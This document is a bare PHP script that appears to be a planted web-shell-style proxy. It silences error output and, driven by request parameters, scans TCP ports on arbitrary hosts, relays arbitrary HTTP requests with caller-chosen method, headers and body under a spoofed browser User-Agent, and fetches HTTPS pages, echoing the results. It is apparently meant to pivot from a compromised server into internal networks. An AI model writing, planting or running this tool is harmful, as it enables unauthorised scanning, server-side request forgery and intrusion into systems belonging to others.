<?php @error_reporting(0);@ini_set('display_errors','0');
if(isset($_REQUEST['t'])){ $hp=explode(':',$_REQUEST['t']); $h=$hp[0]; $p=isset($hp[1])?(int)$hp[1]:80;
  $s=@fsockopen($h,$p,$errno,$errstr,8); if($s){echo "[TCP] ".$_REQUEST['t']." OPEN\n"; fclose($s);} else {echo "[TCP] ".$_REQUEST['t']." CLOSED/UNREACH ($errno $errstr)\n";} }
elseif(isset($_REQUEST['x'])){ $u=$_REQUEST['x'];
  echo "[HTTP] $u\n";
  $hdrs=isset($_REQUEST['xh'])?$_REQUEST['xh']: "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\r\n";
  $opts=array('http'=>array('method'=>isset($_REQUEST['xm'])?$_REQUEST['xm']:'GET','timeout'=>15,'ignore_errors'=>true,'follow_location'=>isset($_REQUEST['nl'])?0:1,'header'=>$hdrs,'content'=>isset($_REQUEST['xd'])?$_REQUEST['xd']:null));
  $ctx=stream_context_create($opts);
  $r=@file_get_contents($u,false,$ctx);
  if($r===false){ echo "NOREQ\n"; } else { echo $r; } }
elseif(isset($_REQUEST['b'])){ $u=$_REQUEST['b'];
  $s=@fsockopen('ssl://'.parse_url($u,PHP_URL_HOST), parse_url($u,PHP_URL_PORT)?:443, $e,$es,8);
  if(!$s){echo "SSLFAIL\n";}
  else { $path=parse_url($u,PHP_URL_PATH)?:'/'; $host=parse_url($u,PHP_URL_HOST);
    $req="GET $path HTTP/1.0\r\nHost: $host\r\nConnection: close\r\n\r\n"; fwrite($s,$req); $out=stream_get_contents($s); fclose($s); echo $out; }
}
echo "\n--done--";
?>